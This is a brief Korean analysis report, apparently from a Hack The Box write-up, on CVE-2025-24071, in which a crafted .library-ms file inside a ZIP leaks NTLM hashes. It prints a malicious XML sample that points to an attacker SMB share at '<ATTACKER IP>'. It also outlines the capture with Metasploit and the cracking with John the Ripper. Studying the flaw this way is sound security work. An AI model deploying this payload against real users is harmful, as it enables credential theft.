개요

HTB fluffy 문제를 풀던 중 사용한 취약점인데 제대로 이해하지 못하고 사용하여 간단한 분석 보고서를 작성했습니다.

CVE Overview

ZIP 파일에 특수 제작된 .library-ms 파일이 포함되어 있고, 클라이언트에서 이 파일을 압축 해제할 때 발생합니다.

❖ XSS 원리와 유사

.library-ms Microsoft Windows 7에서 도입된 xml 형태의 시스템 파일로, Windows 탐색기 왼쪽 패널의 라이브러리 폴더 내에 하위 폴더로 표시되며 라이브러리를 열 때 찾아볼 수 있는 하나 이상의 폴더에 대한 참조가 포함되어 있습니다.
주로 일반적인 폴더에는 없고 별도의 시스템 폴더에 따로 보관됩니다.

취약 파일 예시

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\<ATTACKER IP>\shared</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
  1. 압축 해제 과정 중 파일 탐색기가 .library-ms 파일을 XML 구문으로 파싱하여 <url> 태그의 경로를 읽음
  2. \\ 형태의 경로는 원격 SMB 공유로 인식하여 접근 시도
  3. 접근 시도 과정에서 Windows는 네트워크 파일 접근을 위해 SMB 프로토콜(포트 445)을 통해 원격 서버와 핸드셰이크를 시작. 서버가 인증을 요구하면 Windows는 NTLM 인증 프로세스를 수행하려 하고, 이 과정에서 해시값 유출

NTLM (NT LAN Manager) 해시 Windows는 사용자의 비밀번호를 평문으로 저장하지 않고, 해시값으로 저장하는데 이때 생성되는 해시값

POC

https://github.com/FOLKS-iwd/CVE-2025-24071-msfvenom

위 레포지토리에서 ntlm_hash_leak.rb 파일을 ~/.msf4/modules/auxiliary/server 경로에 넣어주고 msfconsole에서 exploit.zip 파일을 생성해줬습니다.

그리고 msfconsole에서 smb 캡처를 실행해주고, 윈도우 환경에서 파일을 압축해제 하면 아래 사진과 같이 해시값이 구해집니다.

그리고 해시값은 johntheripper와 같은 해시 브루트포싱 툴로 크랙이 가능합니다.

Video

NTLMv2 해시가 계속 다르게 나오는 이유 서버가 매번 다른 ‘챌린지(Challenge)‘라는 무작위 값을 보내기 때문입니다. 피해자 PC는 이 고유한 챌린지 값을 자신의 고정된 비밀번호 해시로 암호화하여 ‘응답(Response)‘을 생성하는데, 이것이 바로 우리가 보는 Net-NTLM 해시입니다. 따라서 서버가 주는 챌린지 값이 매번 달라지니, 그 암호화 결과물인 Net-NTLM 해시도 매번 달라집니다.